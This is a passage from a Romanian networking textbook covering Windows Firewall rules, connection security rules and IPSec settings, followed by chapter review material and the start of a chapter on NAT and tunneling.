Lund n considerare setrile anterioare, disponibile la nivel de profil, este evident faptul c diferenierea cea mai drastic i totodat cea mai granular dintre profiluri se reduce la implementarea regulilor. Practic, la nivel de trafic, regulile sunt cele care dicteaz comportamentul lui Windows Firewall. Acestea se mpart n trei categorii: inbound rules (pentru traficul care intr printr-o conexiune), outbound rules (pentru traficul adresat spre exterior) i connection security rules. Regulile de tip inbound se refer, de fapt, la deblocarea traficului venit din exterior. Dup cum s-a menionat i n seciunea anterioar, pentru toate cele trei tipuri de profiluri (Domain, Private i Public), comportamentul implicit al firewall-ului pentru conexiunile iniiate din exterior este de a le bloca. n contrast, comportamentul implicit pentru conexiunile iniiate de maina pe care ruleaz firewall-ul este permiterea tuturor acestora prin firewall, astfel c regulile de tip outbound adreseaz care dintre aceste conexiuni vor fi, de fapt, blocate. Att pentru regulile de tip inbound ct i pentru cele outbound, categoriile de reguli pe care Windows Firewall permite s fie create sunt n numr de trei, cu posibilitatea de a crea i reguli Custom: Program: Decizia se ia n funcie de programul care iniiaz o conexiune (regul outbound) sau care dorete deschiderea unui port (regul inbound). Informaia care identific aplicaia cuprinde doar calea spre executabilul su. Port: Astfel de reguli au n vedere conexiunile pe baza numerelor de port (unul sau un interval) pe care acestea le utilizeaz. Tot aici se poate specifica i pentru ce protocol de nivel transport (TCP sau UDP) se aplic regula. Predefined: Aceste reguli generalizeaz anumite programe sau servicii ale sistemului simplificnd detaliile funcionrii lor. Spre exemplu, o astfel de regul poate fi instituit pentru a controla accesul la partajarea fiierelor sau imprimantelor sau pentru a permite funcionarea protocolului Remote Desktop (pentru administrarea de la distan). Afiarea regulilor definite implicit n Windows Firewall se face printr-un simplu clic pe categoria dorit n panoul din stnga: Inbound Rules sau Outbound Rules. Deoarece lista poate deveni destul de cuprinztoare, mai ales dup definirea regulilor proprii i pe servere cu o multitudine de aplicaii i servicii instalate, acesteia i se pot aplica filtre din panoul de aciuni. Este de la sine neles c filtrele

S e c u r i z a r e a r e e l e i | 255 afecteaz doar afiarea anumitor reguli; ele nu afecteaz n niciun fel funcionarea lor. Pentru aceasta se folosete proprietatea Enabled disponibil pentru fiecare regul. Aplicarea filtrelor poate adresa profilul de care acestea aparin, starea lor (active sau nu) i grupul din care fac parte (adic aplicaia sau serviciul de care aparin). Filtrele pot fi aplicate secvenial. Pentru tergerea tuturor filtrelor active se face clic pe link-ul Clear all filters. Pentru a vizualiza proprietile unei reguli (indiferent dac este de tip inbound sau outbound), se poate face dublu clic pe regul din panoul central (indiferent de prezena filtrelor). ATENIE: nu se pot modifica toate proprietile regulilor predefinite; n cele mai multe dintre cazuri, executabilul asociat regulii nu poate fi schimbat, la fel ca i porturile i setul de protocoale incluse n regul. Aceste restricii sunt impuse deoarece regulile implicite adreseaz funcionarea serviciilor Windows care folosesc porturi i protocoale standard pentru a comunica.

7-13 Proprietile unei reguli inbound Fereastra de dialog a proprietilor unei reguli conine urmtoarele seciuni: General: Cuprinde numele i o descriere textual a regulii, ofer posibilitatea de a activa sau dezactiva regula i tipul aciunii descrise de regul: permiterea conexiunii, blocarea ei sau permiterea n condiii securizate (IPSec). Pentru cea din urm, trebuie s existe i o regul corespunztoare de tipul Connection Security Rule. Dac regula cere ca o conexiune permis s fie criptat, pentru cele necriptate se vor aplica alte reguli dac exist sau se vor conforma comportamentului implicit descris n profilul conexiunii. Opiunea Override block rules specific faptul c aceast regul va suprascrie orice alte reguli care ar putea bloca conexiunea n cauz. Opiunea este necesar pentru a permite o conexiune pentru c, n mod normal, regulile de blocare au prioritate sporit fa de cele permisive. Programs and Services: Specific executabilul sau serviciul de sistem pentru care se va aplica regula. Orice program i serviciu poate fi adugat atta timp ct ruleaz prin propriul su executabil. Atenie la adugarea container-elor de servicii sau a programelor care gzduiesc executabile, ca svchost.exe, dllhost,exe, inetinfo.exe pentru c pot

256 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e reprezenta riscuri de securitate. Regulile care se aplic pentru un anumit program sau serviciu pot fi folosite i pentru a permite unor aplicaii s accepte conexiuni din Internet, atta timp ct acestea folosesc Windows Sockets (winsock) pentru a deschide propriile porturi. Users and computers: Permite specificarea care calculatoare sau utilizatori (sau grupuri de utilizatori) au dreptul de a se conecta la calculatorul local n contextul serviciului sau programului cruia regula i este asociat. Opiunile legate de utilizatori i calculatoare pot fi utilizate doar dac s-a specificat ca aciune a regulii permiterea conexiunilor dac acestea sunt securizate. De asemenea, configuraia este valabil doar pentru reguli de tip inbound, iar utilizatorii sau calculatoarele ce se pot autentifica trebuie s fie accesibile prin Active Directory Domain Services. Protocols and ports: Regula poate fi particularizat n continuare specificnd porturile i protocoalele (TCP, UDP, GRE, IPv6, L2TP, etc.) necesare pentru o conexiune prin aceast regul. Pentru ICMP sunt disponibile opiuni suplimentare, n funcie de codurile mesajelor. De asemenea, filtrarea pe baz de port se poate face att pentru porturile surs ct i pentru cele destinaie (proprii, n cazul de fa). Scope: Sunt permise specificarea unor adrese IP, intervale de adrese IP sau chiar subreele ntregi de la care sunt acceptate conexiunile. Aceiai parametri pot fi configurai i pentru maina local, caz n care regula se va aplica tuturor conexiunilor dintre adresele locale i adresele de la distan care ndeplinesc ambele criterii configurate. Advanced: Se poate specifica profilul pentru care regula este activ (toate sau numai unul dintre cele trei) i conexiunea de reea pentru care regula se aplic.

Adugarea de noi reguli


Windows Firewall permite crearea de noi reguli pentru a le suplimenta pe cele implicite, particularizate pentru necesitile fiecrui sistem sau reea. Pentru a crea o nou regul, se selecteaz categoria de Inbound sau Outbound i se face clic pe New Rule n panoul de aciuni. n prima etap se selecteaz tipul regulii: Program, Port, Predefined sau Custom, dup cum au fost prezentate n seciunea anterioar. Pentru a avea acces la toate opiunile, pentru exemplul de fa se va considera c se creeaz o regul de tip Custom. Urmtoarea pagin ofer trei opiuni: All programs: Regula va fi aplicat tuturor programelor ale cror conexiuni se potrivesc cu setrile regulii. This program path: Regula se va aplica doar conexiunilor iniiate din sau spre un anumit program selectabil prin executabilul su. Services: Permite selectarea unui anumit serviciu din lista de servicii instalate n sistem, deoarece majoritatea ruleaz gzduit n interiorul altor executabile, ca services.exe (utilitar responsabil cu pornirea i oprirea serviciilor, pornirea automat a lor la iniializarea sistemului si oprirea lor la nchiderea sa) sau lsass.exe (utilitar cu multiple responsabiliti de securitate, incluznd autentificarea utilizatorilor, fiind inta pentru numeroi virui). n continuare (vezi Fig. 7-14) se poate alege protocolul i, eventual, porturile pentru care regula va fi aplicat. Dac la pasul anterior s-a selectat o aplicaie, nu e necesar selectarea protocolului deoarece Windows l va identifica din interfaa winsock. n continuare se pot specifica adresele IP, att locale ct i de la distan pe a cror conexiuni se va aplica regula. Pot fi definite adrese, intervaluri de adrese sau subreele. De asemenea, se pot alege aici i tipurile conexiunilor de tip reea pe care va fi aplicat regula. Aciunea ce poate fi aplicat n momentul n care regula firewall-ului intr n funciune, poate s permit realizarea conexiunii n orice situaie (deci crearea unei reguli de tip Allow), doar n cazul n

S e c u r i z a r e a r e e l e i | 257 care conexiune este securizat (mai multe detalii n seciunea 6.4.1.2) sau poate bloca realizarea conexiunii (crearea unei reguli de tip Deny). n urmtoarea seciune se pot bifa profilurile pentru care regula s se aplice: Private, Public sau Domain. n fine, n ultima etap se d un nume regulii i, eventual o descriere care rezum parametrii i aciunile sale (preferabil i scopul pentru care a fost creat regula). Butonul Finish creeaz regula, ce poate fi editat ulterior ca orice alt regul implicit.

7-14 Specificarea porturilor i protocolului pentru regul

Reguli de securizare a conexiunilor


Regulile de tip inbound i outbound controleaz strict fluxurile de date dintr-un calculator. Windows Firewall permite i crearea de reguli de securizare a conexiunilor (connection security rules) care controleaz autentificarea dintre dou calculatoare (dou servere dintr-o reea, spre exemplu) pentru a asigura faptul c orice conexiune stabilit ntre aceste calculatoare este una securizat, folosind diferite metode, precum certificatele. n Windows Firewall nu sunt reguli de securizare a conexiunilor configurate n mod implicit. Ele pot fi create explicit de ctre administrator i pot fi mprite n urmtoarele categorii: Isolation: Regula restricioneaz conectarea la un anumit calculator (deci l izoleaz) pe baza unor criterii de autentificare, precum apartenen la un domeniu sau a unor diferite politici de securitate implementate. Authentication exemption: Regula poate permite accesul fr informaii de autentificare al altor calculatoare la calculatorul propriu. Acordarea dreptului de conectare se face pe baz de adres IP. Server to server: Regula este folosit pentru a realiza o conexiune securizat ntre dou servere. Este nevoie de specificarea serverelor care vor fi implicate n conexiune i de configurarea autentificrii ce se dorete a se realiza ntre ele.

258 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Tunnel: Regul pentru controlul parametrilor unei conexiuni securizate ntre dou puncte, peste o reea public, nesecurizat. Se specific cele dou puncte ale conexiunii (endpoints) i metoda de autentificare. Custom: Regul complet configurabil. Pentru a crea o astfel de regul se selecteaz Connection Security Rules din panoul stng i se face clic pe link-ul New Rule din panoul de aciuni, dup care se urmeaz etapele urmtoare. Pentru nceput, se alege tipul regulii ce se dorete a fi creat. Pentru a avea acces la toate opiunile, pentru exemplul de fa se va alege tipul Custom. Urmtoarea opiune cere configurarea capetelor conexiunii (endpoints). Endpoint-ul 1 poate fi calculatorul local sau o subreea de adrese IP ce pot fi atribuite calculatorului local, iar endpoint-ul 2 va fi ceallalt capt al conexiunii, specificat printr-o adres IP sau un interval.

7-15 Definirea captelor unei conexiuni securizate n pagina urmtoare se selecteaz tipul de autentificare ce va fi folosit: Request authentication for inbound and outbound connections: Autentificarea nu este obligatorie, dar este de preferat. Conexiunile inbound i outbound nesecurizate vor reui dar dac se dorete utilizarea unei autentificri se poate realiza acest lucru. Require authentication for inbound connections and request authentication for oubound connections: Conexiunile iniiate n exterior trebuie s fie autentificate, dar pentru cele iniiate local este opional. Require authentication for inbound and outbound connections: Att conexiunile iniiate din exterior ct i cele iniiate local trebuie autentificate, altfel regula va bloca realizarea lor. Do not authenticate: Nu este necesar autentificarea. n urmtoarea pagin se selecteaz metoda de autentificare folosit de regul. Opiunea Default folosete autentificarea implicit a profilului. Se mai pot selecta metode de autentificare bazate pe

S e c u r i z a r e a r e e l e i | 259 utilizator i calculator (ceea ce necesit apartenen la un domeniu), doar n funcie de calculator, sau pe baza unui certificat. Prin opiunea Advanced se pot specifica dou sesiuni de autentificri, secveniale, fiecare prin metodele sale. Pe pagina Profile se aleg profilurile pentru care regula va fi activ. n ultima pagin se introduce un nume i o descriere a profilului. Dup creare, regula apare n lista de Connection Security Rules i i se pot modifica proprietile ca i n cazul regulilor Inbound sau Outbound.

Configurri IPSec
IPSec (IP Security Protocol) reprezint o serie de servicii i protocoale de securitate orientate spre asigurarea confidenialitii datelor transferate n interiorul unei reele sau prin conexiuni de tip VPN. Avantajul major al IPSec este c datele pot fi securizate indiferent dac dispozitivele de pe parcurs suport sau nu aceste protocoale. Criptarea n IPSec se face separat pentru fiecare pachet iar ca metode de autentificare pot fi folosite certificatele digitale.

7-16 Setri IPSec n Windows Server 2008, setrile ce adreseaz IPSec sunt incluse n Windows Firewall i sunt accesibile la pagina IPSec Settings din cadrul ferestrei de proprieti a firewall-ului. Modificarea setrilor implicite sunt accesibile prin apsarea butonului Customize. Acestea vor afecta toate regulile de tip Connection Security Rule definite n firewall. Configurrile pentru IPSec se ncadreaz n trei categorii: schimbul de chei (key exchange), protejarea datelor (data protection) i modalitatea de autentificare (authentication method). Pentru a schimba modul n care se realizeaz schimbul de chei, se alege optiunea Advanced din grupul Key Exchange i se face clic pe butonul Customize.

260 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

7-17 Opiuni pentru schimbul de chei

7-18 Opiuni pentru protecia datelor Modul implicit folosete algoritmul Diffie-Hellman Group 2 (bazat pe o cheie public i una privat). Exist posibilitatea optrii pentru un algoritm mai puternic, ca Elliptic Curve Diffie-Hellman P-384. Trebuie avut n vedere i faptul c selectarea acestui algoritm impune clientului restricia ca acesta s ruleze cel puin Windows Vista iar serverul Windows Server 2008. Tot aici poate fi modificat i durata de via a cheilor. Teoretic, securitatea unei chei este invers proporional cu durata sa de via. Tot din fereastra principal a setrilor IPSec poate fi modificat i metoda folosit pentru asigurarea securitii datelor (criptare). Pentru aceasta se selecteaz opiunea Advanced din categoria Data protection (Quick Mode) i se apas butonul Customize.

S e c u r i z a r e a r e e l e i | 261 Implicit se folosesc doi algoritmi pentru a asigura integritatea i securitatea datelor: ESP i AH. Protocolul Encapsulating Security Payload (ESP) ofer autentificarea sursei datelor, integritate i protecie mpotriva atacurilor de tip replay pentru coninutul pachetelor IP. Protocolul Authentication Header (AH) ofer securitate pentru antetul IP. Ultima categorie de opiuni se refer la metoda de autentificare folosit pentru a realiza conexiuni securizate: Computer and User (Using Kerberos V5) autentific att calculatorul ct i utilizatorul. Kerberos V5 folosete un sistem de chei sau tichete atribuite calculatoarelor din domeniu. Mesajele trimise de aceste calculatoare sunt autentificate prin tichet, care este ataat n date. Computer (Using Kerberos V5) autentific doar calculatorul. User (Using Kerberos V5) autentific doar utilizatorul. Computer certificate from this certification authority necesit specificarea unui CA (Certificate Authority) iar autentificarea se face baza certificatelor digitale.

7.7 Concluzii
Odat cu creterea numrului de utilizatori n Internet, au crescut i riscurile de pierdere a informaiilor confideniale transmise, securizarea reelei devenind prioritatea numrul unu n proiectarea unei reele de calculatoare. Pentru asigurarea securitii unei reele, trebuie limitat accesul din exterior (Internet) ctre serviciile ce ofer acces la informaii confideniale. Pentru acest lucru, serviciile trebuie difereniate. Diferenierea se realizeaz la nivelul transport, prin multiplexare, introducnd un nou tip de adresare: portul. Astfel fiecare serviciu poate fi identificat printr-un protocol (TCP, UDP, ICMP) i printr-un port (un numr ntreg pe 16 bii). Protocolul folosit variaz n funcie de necesitile aplicaiei. Dac se dorete un transfer sigur, fr pierderi de pachete se folosete protocolul TCP (ex.: HTTP, SSH, etc), iar dac se dorete un transfer mai rapid, fr confirmri de pachete, se folosete protocolul UDP. ICMP este, n general, folosit la diagnosticarea problemelor dintr-o reea. Dipozitivul care controleaz accesul la servicii poart numele de firewall. Acesta poate fi clasificat n mai multe tipuri: stateless (nu menine starea conexiunii), stateful (menine starea conexiunii) i de nivel aplicaie (inspecteaz i coninutul de date al unui pachet pentru a identifica tipul acestuia). O alt clasificare a acestora poate fi fcut n funcie de serviciile o ferite: IDS (doar detecteaz un posibil atac, fiind o entitate pasiv) sau IPS (detecteaz i blocheaz un posibil atac, fiind o entitate activ prin care trece efectiv traficul). Firewall-ul poate fi implementat n hardware, folosind procesoare specializate numite ASIC-uri, sau n software, pe calculatoarele cu procesoare de uz general. Cea mai popular implementare de firewall n software e suita iptables/Netfilter pe sistemele de operare Linux. n general, nu se poate bloca, pur i simplu, accesul la un serviciu din exterior, avnd nevoie de acces la informaiile puse la dispoziie de acesta. Aadar avem nevoie de o conexiune securizat, obinndu-se prin folosirea unor protocoale ce asigur autentificare (persoanele sunt cine zic c sunt), confidenialitate (datele nu pot fi vzute dect de persoanele autentificate) i integritate (datele ajung nemodificate la destinaie). Cel mai popular protocol de acces la distan, ce satisface toate condiiile anterior prezentate, este SSH. Acesta permite autentificarea pe baz de parol sau chei publice/private, traficul transmis este criptat cu ajutorul unei chei simetrice, fiind mult mai rapid dect criptarea cu chei asimetrice, iar integritate este oferit prin folosirea unor hash-uri (MD5, SHA-1).

262 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

7.7.1 Linux
Comand netstat/ss Descriere Vizualizare informaii despre reea (porturile pe care ascult serviciile, conexiunile deschise, etc.) Simularea unei conexiuni client-server Administrare reguli firewall Conectare la un server, ce ruleaz serviciul de SSH i creare de tunele SSH

netcat iptables ssh

7.7.2 Cisco IOS


Comand access-list ip access-list Descriere Adugare liste de acces n vederea filtrrii traficului Adugare liste de acces cu nume n vederea filtrrii traficului Configurare list de acces pe o interfa. Se execut din modul de configurare al acesteia Vizualizare liste de acces Conectare la un server, ce ruleaz serviciul de SSH

ip access-group

show access-lists ssh

7.7.3 Windows
Comand netstat putty.exe Descriere Vizualizare conexiuni active Conectare la un server, ce ruleaz serviciul de SSH i creare de tunele SSH

S e c u r i z a r e a r e e l e i | 263

7.8 ntrebri
1. Nivelul transport ofer aproape ntotdeauna: Multiplexarea adresei IP Controlul transmisiei Controlul fluxului Integritatea datelor

2. Un IDS poate asigura i funcia de rutare a pachetelor. / Un IDS asigur blocarea atacurilor atunci cnd acesta este notificat de ctre o alt entitate Adevrat / Fals Adevrat / Adevrat Fals / Fals Fals / Adevrat 3. Protocolul TCP garanteaz recepia corect a datelor. / Folosirea protocolul UDP nu necesit stabilirea unei conexiuni. Adevrat / Fals Adevrat / Adevrat Fals / Fals Fals / Adevrat 4. Pentru conexiuni bazate pe protocolul TCP, pentru a permite doar accesul pachetelor de rspuns pe o interfa, care tip de pachete trebuie filtrat? Cele care au flag-ul SYN setat Cele care au flag-ul ACK setat Cele care au flag-urile FIN i ACK setate Cele care au flag-urile SYN i ACK setate 5. Protocolul SSH folosete pentru asigurarea confidenialiti: Criptarea simetric Criptarea asimetric Criptare simetric sau asimetric, n funcie de configurare O alt metod dect cele dou criptri menionate anterior

264 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

7.9 Referine
[1] Vinton G. Cerf and Robert E. Kahn. A protocol for Packet Network Intercommunication. IEEE; 1974 May 5. Accesat la http://ece.ut.ac.ir/Classpages/F84/PrincipleofNetworkDesign/Papers/CK74.pdf [28.08.2012]. [2] Information Sciences Institute University of Southern California. Transmission Control Protocol. 1981 September. Accesat la http://tools.ietf.org/html/rfc793 [29.08.2012]. [3] J. Postel. User Datagram Protocol. 1980 August 28. Accesat la http://tools.ietf.org/html/rfc768 [29.08.2012]. [4] Three way handshake. 2010 March 4, 01:17. Accesat la http://talkanadas.wordpress.com/2010/03/04/0x0002-three-way-handshake/ [29.08.2012].
[5] J. Postel. Internet Control Message Protocol. 1981 September. Accesat la http://www.ietf.org/rfc/rfc792.txt [29.08.2012]. [6] T. Ylonen, SSH Communications Security Crop, C. Lonvick, Cisco Systems. The Secure Shell (SSH) Protocol Architecture. 2006 January. Accesat la http://tools.ietf.org/html/rfc4251

[29.08.2012].
[7] T. Ylonen, SSH Communications Security Crop, C. Lonvick, Cisco Systems. The Secure Shell (SSH) Protocol Architecture. 2006 January. Accesat la http://tools.ietf.org/html/rfc4252

[29.08.2012].
[8] T. Ylonen, SSH Communications Security Crop, C. Lonvick, Cisco Systems. The Secure Shell (SSH) Protocol Architecture. 2006 January. Accesat la http://tools.ietf.org/html/rfc4253

[29.08.2012].
[9] T. Ylonen, SSH Communications Security Crop, C. Lonvick, Cisco Systems. The Secure Shell (SSH) Protocol Architecture. 2006 January. Accesat la http://tools.ietf.org/html/rfc4254

[29.08.2012].
[10] J. Schlyter, OpenSSH, W. Griffin, SPARTA. Using DNS to Securely Publish Secure Shell (SSH) Key Fingerprints. 2006 January. Accesat la http://tools.ietf.org/html/rfc4255 [29.08.2012]. [11] F. Cusack, savecore.net, M. Forssen, AppGate Network Security AB. Generic Message Exchange Authentication for the Secure Shell Protocol (SSH). 2006 January. Accesat la http://tools.ietf.org/html/rfc4256 [29.08.2012]. [12] J. Galbraith, VanDyke Software, P. Remaker, Cisco Systems. The Secure Shell (SSH) Session Channel Break Extension. 2006 January. Accesat la http://tools.ietf.org/html/rfc4335 [29.08.2012]. [13] M. Bellare, T. Kohno, UC San Diego, C. Namprempre, Thammasat University. The Secure

Shell

(SSH)

Transport

Layer

Encryption

Modes.

2006

January.

Accesat

la

http://tools.ietf.org/html/rfc4344 [29.08.2012]. [14] B. Harris. Improved Arcfour Modes for the Secure Shell (SSH) Transport Layer Protocol. 2006 January. Accesat la http://tools.ietf.org/html/rfc4345 [29.08.2012]. [15] R.L. Rivest, A. Shamir, and L. Adleman. A Method for Obtaining Digital Signatures and Public-Key Cryptosystems. 1977 September 1. Accesat la http://people.csail.mit.edu/rivest/Rsapaper.pdf [29.08.2012]. [16] netfilter/iptables project. Accesat la http://www.netfilter.org/ [30.08.2012]. [17] Xming X Server for Windows. Accesat la http://sourceforge.net/projects/xming/

[30.08.2012].
[18] The state machine iptables. Accesat la http://www.iptables.info/en/connection-state.html

[01.09.2012].
[19] Steve Kemp. Making scripts to run at boot time with Debian. 2004 Octombre 11, 13:01. Accesat la http://www.debian-administration.org/articles/28 [01.09.2012].

S e c u r i z a r e a r e e l e i | 265

P a g e | 266

8 Alterarea pachetelor
Ce se nva n acest capitol? Moduri de alterare a pachetelor Metode de translatare a adreselor Avantaje i dezavantaje ale translatrii de adrese Tunelare

Cine este Paul Rusty Russell este un programator open-source australian, care a scris sistemul de filtrare de pachete din Linux (netfilter/iptables). n 2003, Linus Torvalds l-a numit pe Russel unul dintre cei mai buni locoteneni ai si. Reelele de calculatoare urmresc conectarea utilizatorilor aflai la distan prin intermediul dispozitivelor folosite de acetia, a dispozitivelor de reea i a mediilor de transmisie. Interreelele (internetworks) conecteaz mai multe reele locale i, astfel, un numr mai mare i divers de clieni. Internetul, cea mai mare interreea, conecteaz utilizatorii la nivel global. Pe infrastructura fizic a Internetului, constituit din staii, dispozitive de interconectare i medii de transmisie, se construiesc numeroase conexiuni logice prin care utilizatorii i staiile pot comunica. O astfel de conexiune logic este stabilit ntre dou staii i poart denumirea de conexiune end-toend, ntre dou capete din Internet. ntr-un capt se poate gsi un utilizator cu un dispozitiv mobil, iar n cellalt capt un server. O conexiune este dat de transmiterea unor pachete, respectnd specificaiile unor protocoale, ntre cele dou capete (end-to-end). n cadrul acestei conexiuni, pachetele parcurg numeroase dispozitive. De exemplu, accesarea unui server Facebook de la o staie din cadrul Universitii Politehnice din Bucureti trece prin cel puin 25 de rutere. Pe lng acestea exist i alte dispozitive precum switch-uri, firewall-uri sau IDS/IPS-uri (Intrusion Detection/Prevention System). Fiecare dintre aceste dispozitive opereaz asupra pachetului. Operaiile pe care le realizeaz un dispozitiv de reea asupra unui pachet pot fi doar de analiz (pot fi gndite ca operaii de tip read-only) sau de analiz i alterare (pot fi gndite ca operaii de tip read-write). Un exemplu de operaie de analiz este comutarea realizat de un switch. n cadrul operaiei de comutare, switch-ul parcurge adresa MAC destinaie a pachetului primit i, dup consultarea tabelei de comutare, livreaz pachetul pe portul corespunztor, ctre staia destinaie sau ctre alt switch. Switch-ul nu altereaz coninutul pachetului, doar l parcurge. Pe de alt parte, un switch poate nu numai s analizeze, ci i s modifice coninutul unui pachet n cazul folosirii de VLAN-uri. n momentul primirii unui pachet de la o staie, dac portul aferent folosete VLAN-uri, atunci switch-ul adaug eticheta (tag-ul) de VLAN. Cnd trimite pachete la o staie, elimin eticheta de VLAN. Astfel de operaii conduc, de asemenea, la actualizarea cmpului CRC al pachetului. n mod similar, un ruter altereaz cmpul TTL din antetul IPv4 la fiecare rutare; aceast operaie conduce, de asemenea, la actualizarea cmpului checksum. n cazul IPv6 cmpul checksum a fost eliminat pentru a reduce efortul de procesare a pachetului. Aadar, pe parcursul transferului ntre dou capete, un pachet sufer actualizri din partea dispozitivelor prin care trece. Putem clasifica aceste actualizri sau alterri n dou tipuri: alterri implicite, realizate de dispozitiv ca urmare a rolului pe care acesta l ndeplinete, sau explicite, indicate explicit de administrator ca aciuni de alterare.

A l t e r a r e a p a c h e t e l o r | 267 Aciuni de alterare implicit (lista nu este exhaustiv) sunt: adugarea/eliminarea tag-ului de VLAN de switch-uri; corectarea valorilor CRC i checksum n cazul unei alterri a pachetului; actualizarea adreselor MAC ale pachetului de un ruter n momentul rutrii; actualizarea cmpului TTL al pachetului de un ruter n momentul rutrii; Dei orice form de prelucrare a pachetului este costisitoare, prelucrarea este necesar pentru funcionarea Internet-ului. De exemplu, dac un ruter nu ar decrementa cmpul TTL, s-ar putea ajunge la bucle n Internet. Dac un switch nu ar completa corect tag-ul de VLAN, pachetul nu ar mai ajunge la destinaie. Pe lng operaiile de alterare implicit, administratorul unui dispozitiv de interconectare poate s configureze alterarea explicit a pachetelor. Administratorul va descrie reguli prin care pachetul va fi modificat n momentul trecerii prin dispozitiv. Motivele pentru care un administrator va configura alterarea explicit a pachetelor pot fi mprite n dou categorii: nevoia de conectivitate i nevoia de securitate. n ceea ce privete conectivitatea, natura hibrid a Internetului conduce la existena unor protocoale diferite care trebuie comunice ntre ele. Un exemplu l reprezint insulele IPv6 aflate n oceanul IPv4. Pentru comunicarea ntre insule, i ntre insule i ocean, se folosesc tehnici de ncapsulare. Pachetul iniial (IPv6) este ncapsulat ntr-un alt pachet (IPv4) de ctre un dispozitiv de la grania insulei. Aceast alterare a pachetului (ncapsularea) permite conexiunea ntre staii care nu sunt direct conectate prin protocolul IPv6. Motivele principale ale alterrii explicite a pachetelor, derivate din nevoia de conectivitate, sunt: a) numrul redus de adrese IPv4 n Internet, de unde poate aprea nevoia alterrii prin NAT, discutat n continuare n acest capitol, i b) absena unei ci complete pe care s poat fi folosit un protocol de nivel reea (de exemplu, un protocol IPv6). Poate fi vorba, de asemenea, de conexiunea limitat, motiv pentru care pachetul va fi trecut printr-un alt dispozitiv, cu legturi mai bune (urmnd aciuni de redirectare i proxying). n ceea ce privete securitatea, un dispozitiv poate s activeze criptarea pachetelor care pleac din reeaua local, pentru a nu permite atacuri de tipul eavesdropping. O astfel de alterare poate fi realizat de dispozitive cu suport IPSec; n urma criptrii, coninutul pachetului este actualizat complet. Motivul alterrii explicite pe partea de securitate const n nevoia existenei unui canal sigur ntre dou capete. Costul de realizare a unei conexiuni fizice dedicate fiind mare, se folosete infrastructura public a Internetului peste care se realizeaz o conexiune sigur. n general, aciunea de criptare este realizat odat cu ncapsularea pachetului, aa cum se ntmpl n reele private virtuale (VPNs Virtual Private Networks).

8.1 Moduri de alterare a pachetelor


Alterarea explicit a pachetelor presupune existena unor anumite reguli din partea administratorului pentru a satisface nevoile de conectivitate sau de securitate. Alterarea explicit se realizeaz la diverse niveluri din stiva OSI, depinznd de cerinele utilizatorilor i de dispozitivele pe care administratorul le are la dispoziie. Astfel: La nivelul 2 (Legtur de date) din stiva OSI se poate realiza tunelarea/ncapsularea pachetelor folosind protocolul L2TP. Acesta permite crearea unui tunel la nivelul 2. La nivelul 3 (Reea) din stiva OSI se poate realiza tunelarea/ncapsularea pachetelor de forma IPIP, 6to4, GRE. Tot la acest nivel se poate realiza criptarea informaiilor folosind IPSec i translatarea de adrese de baz (NAT de baz), adic schimbarea unei adrese IP cu alt adres IP. La nivelul 4 (Transport) din stiva OSI una dintre principalele forme de alterare este NAT/NAPT (Network Address and Port Translation) n care o pereche <adres IP, port> este substituit unei alte perechi <adres IP, port>. Tot aici pot fi realizate diverse forme de VPN, prin tunelarea n pachete UDP sau TCP.

268 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e La nivelul 7 (Aplicaie) alterarea pachetelor este, n general, realizat direct de capete, nu de dispozitivele de pe parcursul unei ci. Alterarea de aici const n tunelarea la nivelul aplicaie, exemple uzuale fiind tunelarea SSH sau tunelarea HTTP. Pe baza exemplelor de mai sus, cele mai frecvente dou forme de alterare, care vor fi detaliate n restul capitolului, sunt translatarea de adrese i tunelarea. Translatarea de adrese, denumit NAT (Network Address Translation), nseamn nlocuirea unei adrese (surs sau destinaie) cu o alt adres. Poate fi vorba doar de adresa de nivel 3 (n cazul NAT de baz) sau poate fi vorba de adresa de nivel 3 i de port (n cazul NAPT / PAT). NAT este soluia conservatoare pentru epuizarea adreselor IPv4 din Internet; soluia radical este IPv6. Cu ajutorul NAT o singur adres IP poate fi folosit de un numr mare de staii dintr-o reea local. NAT conduce la existena unor reele locale care folosesc adrese private. Aceste adrese nu sunt rutabile, nu pot comunica n Internet. Pentru a asigura conectivitatea, gateway-ul reelei locale folosete NAT i translateaz aceste adresele private ntr-una sau mai multe adrese IP publice. Gateway-ul, denumit n acest caz translator de adrese, faciliteaz accesul staiilor din reeaua local la Internet. Translatarea de adrese ofer, aadar, conectivitate, economisirea adreselor i, n acelai timp, securitate. Securitatea este asigurat chiar prin izolarea staiilor din reeaua local cu adrese private nerutabile. Dei aceasta reprezint un incovenient n conectare, reprezint i o facilitate de securitate, ntruct nu permite conexiunea implicit de la alte staii din Internet. Tunelarea se refer la construirea unui canal virtual de comunicare, denumit tunel, care folosete un alt protocol sau o alt pereche de adrese pentru realizarea conexiunii. Cele dou capete (end point-uri) nu sunt preocupate de actualizrile care au loc pe parcurs. Din punctul de vedere al capetelor, tunelul reprezint un singur hop n trafic, indiferent de numrul de rutere parcurse. Tunelarea se realizeaz att din raiuni de conectivitate (transfer de pachete IPv6 peste o infrastructur IPv4) ct i de securitate, cuplat cu funcii de criptare (transfer sigur de pachete peste o infrastructur public). Tunelarea are loc prin ncapsularea unui protocol ntr-un alt protocol de nivel cel puin egal. ncapsularea unui protocol de nivel 3 (fie acesta IPv6) poate fi realizat numai ntr-un protocol de nivel 3 (de exemplu IPv4) sau de nivel superior (UDP la nivelul 4). ncapsularea unui protocol de nivelul 3 ntr-unul de nivelul 2 este operaia obinuit de ncapsulare realizat de implementarea de stiv de reea; aceasta nu este o operaie de tunelare. n seciunile de mai jos vor fi prezentate detaliat translatarea de adrese i tunelarea, inclusiv modul de implementare i configurare a acestora. Accentul va fi pus pe implementarea i configurarea acestora n Linux.

8.2 Translatarea de adrese


